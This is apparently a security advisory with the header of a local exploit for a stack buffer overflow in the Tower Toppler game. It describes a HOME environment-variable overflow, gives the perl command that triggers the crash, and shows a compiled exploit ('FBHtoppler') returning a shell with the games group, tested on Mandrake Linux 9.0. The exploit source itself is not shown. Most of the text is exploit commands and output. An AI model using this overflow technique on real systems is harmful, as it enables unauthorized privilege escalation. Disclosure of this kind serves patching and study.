A problem with the software may make elevation of privileges possible.

It has been reported that a buffer overflow exists in Tower Toppler. A local user may be able to exploit this issue to execute code with the privileges of the toppler program.

/*
		LOCAL TOPPLER EXPLOIT

	A Buffer overflow in HOME enviroment variable.
	Just your standard stack overflow...

	[bobby@blah Code]$export HOME=`perl -e 'print"A"x144'`
	
	[bobby@blah Code]$ /usr/bin/toppler
	Nebulous version 0.96
	Segmentation fault


	Should give a GID=20 on successful exploitation.


	[bobby@blah Code]$ id
	uid=501(bobby) gid=501(bobby) groups=501(bobby)

	
	[bobby@blah Code]$ ./FBHtoppler
	Using address: 0xbffff81c
	sh-2.05b$id
	uid=501(bobby) gid=20(games) groups=501(bobby)


	Kinda weird but could be useful in some situations...:P


       SYSTEM TESTED ON: 
		Mandrake Linux release 9.0 (dolphin) for i586
